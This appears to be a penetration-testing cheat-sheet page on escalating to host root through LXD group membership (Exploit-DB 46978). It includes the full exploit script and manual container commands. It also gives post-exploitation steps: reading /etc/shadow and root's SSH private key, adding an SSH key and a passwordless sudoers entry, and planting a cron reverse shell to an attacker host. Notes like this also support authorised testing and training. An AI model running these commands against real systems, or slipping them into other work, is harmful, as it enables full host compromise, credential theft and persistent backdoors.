lxc — LXD Privilege Escalation (EDB-46978)
Ctrl+F:
lxc·lxd·/snap/bin·security.privileged·/mnt/root· EDB-46978
Membership in the lxd group lets you manage LXD containers. Import a privileged image, mount the host / inside the container at /mnt/root, and read/write the full host filesystem as root inside the container → host root.
Exploit-DB: 46978 · Authors: Marcelo Vazquez (S4vitar), Victor Lasa (vowkin)
→ Linux > 📌 13) Docker / LXC / LXD Escape · Privilege escalation > 📌 Phase 3 — Linux Vector Priority
📌 When to try
| Signal | Check |
|---|---|
lxd group | id · groups → (lxd) |
lxc missing from PATH | which lxc fails but shell says it’s in /snap/bin/lxc |
| LinPEAS / manual enum | Docker/LXD section flags group membership |
| Stuck after sudo/SUID/cron | Container abuse before kernel exploits |
id
groups
which lxc
ls -la /snap/bin/lxc 2>/dev/nullPATH fix (/snap/bin)
Some boxes install lxc via snap but /snap/bin is not in PATH:
# Before fix
which lxc
# lxc: command not found — hint: '/snap/bin/lxc'
export PATH=$PATH:/snap/bin
which lxc
# /snap/bin/lxcMake permanent for the session or add to exploit script preamble if needed.
📌 Step 1 — Build Alpine image (Kali / attacker)
On your machine (needs root to build):
wget https://raw.githubusercontent.com/saghul/lxd-alpine-builder/master/build-alpine
chmod +x build-alpine
sudo bash build-alpine
# → alpine-v3.XX-x86_64-YYYYMMDD_HHMM.tar.gz
ls -lh alpine-*.tar.gzTransfer to target → File Transfer · Install Download and Run > 📌 1b) Archives — extract vs use as-is · Archives - unzip 7z zip > When NOT to extract `.tar.gz`
Important: The Alpine .tar.gz is not extracted with tar -xzf — pass the file directly to lxc image import / ./exx -f.
📌 Step 2 — Exploit script (victim)
Save as exx (or lxd_privesc.sh), transfer, chmod +x, run with the .tar.gz:
./exx -f alpine-v3.24-x86_64-20260723_1119.tar.gzFull script (EDB-46978)
#!/usr/bin/env bash
# ----------------------------------
# Authors: Marcelo Vazquez (S4vitar)
# Victor Lasa (vowkin)
# ----------------------------------
#
# Step 1: Download build-alpine => wget https://raw.githubusercontent.com/saghul/lxd-alpine-builder/master/build-alpine [Attacker]
# Step 2: Build alpine => bash build-alpine (as root) [Attacker]
# Step 3: Run this script on victim with -f alpine.tar.gz
# Step 4: Inside container → /mnt/root = host filesystem
function helpPanel(){
echo -e "\nUsage:"
echo -e "\t[-f] Filename (.tar.gz alpine file)"
echo -e "\t[-h] Show this help panel\n"
exit 1
}
function createContainer(){
lxc image import $filename --alias alpine && lxd init --auto
echo -e "[*] Listing images...\n" && lxc image list
lxc init alpine privesc -c security.privileged=true
lxc config device add privesc giveMeRoot disk source=/ path=/mnt/root recursive=true
lxc start privesc
lxc exec privesc sh
cleanup
}
function cleanup(){
echo -en "\n[*] Removing container..."
lxc stop privesc && lxc delete privesc && lxc image delete alpine
echo " [√]"
}
set -o nounset
set -o errexit
declare -i parameter_enable=0; while getopts ":f:h:" arg; do
case $arg in
f) filename=$OPTARG && let parameter_enable+=1;;
h) helpPanel;;
esac
done
if [ $parameter_enable -ne 1 ]; then
helpPanel
else
createContainer
fiWhat it does:
lxc image import— loads your Alpine tarballlxd init --auto— initializes LXD (non-interactive)lxc init … security.privileged=true— privileged container (needed for host mount abuse)lxc config device add … disk source=/ path=/mnt/root recursive=true— host/→/mnt/rootlxc exec privesc sh— root shell inside containercleanup— removes container/image on exit
📌 Step 3 — Host root (inside container)
You land in a container shell as root. Host files are under /mnt/root:
# Inside container (lxc exec privesc sh)
id
ls /mnt/root
cat /mnt/root/etc/shadow
cat /mnt/root/root/.ssh/id_rsa
# Option A — chroot to host bash
chroot /mnt/root /bin/bash
# Option B — add your SSH key for host root
mkdir -p /mnt/root/root/.ssh
echo 'YOUR_PUBKEY' >> /mnt/root/root/.ssh/authorized_keys
chmod 600 /mnt/root/root/.ssh/authorized_keys
# Option C — NOPASSWD sudo for your user
echo 'funny ALL=(ALL) NOPASSWD:ALL' >> /mnt/root/etc/sudoers
# Option D — cron reverse shell as host root
echo '* * * * * root bash -c "bash -i >& /dev/tcp/KALI/4444 0>&1"' >> /mnt/root/etc/crontabExit container → script runs cleanup (stops/deletes container and image).
📌 Manual commands (no script)
If you prefer step-by-step on the victim:
export PATH=$PATH:/snap/bin
lxc image import ./alpine-*.tar.gz --alias alpine
lxd init --auto
lxc init alpine privesc -c security.privileged=true
lxc config device add privesc hostroot disk source=/ path=/mnt/root recursive=true
lxc start privesc
lxc exec privesc /bin/sh📌 vs Docker group privesc
| Vector | Group | Command pattern |
|---|---|---|
| Docker | docker | docker run -v /:/mnt … chroot /mnt sh |
| LXD | lxd | Privileged lxc container + disk mount → /mnt/root |
Both abuse container runtime membership — check id early.
→ Linux > 📌 13) Docker / LXC / LXD Escape
📌 Quick cheat sheet
# Detect
id | grep -E 'lxd|docker'
export PATH=$PATH:/snap/bin && which lxc
# Kali — build image
wget https://raw.githubusercontent.com/saghul/lxd-alpine-builder/master/build-alpine
sudo bash build-alpine
# Victim
./exx -f alpine-*.tar.gz
# inside container:
chroot /mnt/root /bin/bash📌 Alias check (Linux/bash)
alias
alias | grep -iE 'sudo|root|pass|su |chmod'Shell aliases may expose sudo shortcuts, paths to SUID binaries, or commands run as root — run on every Linux privesc pass.
→ Linux > 📌 1) Basic Manual Enumeration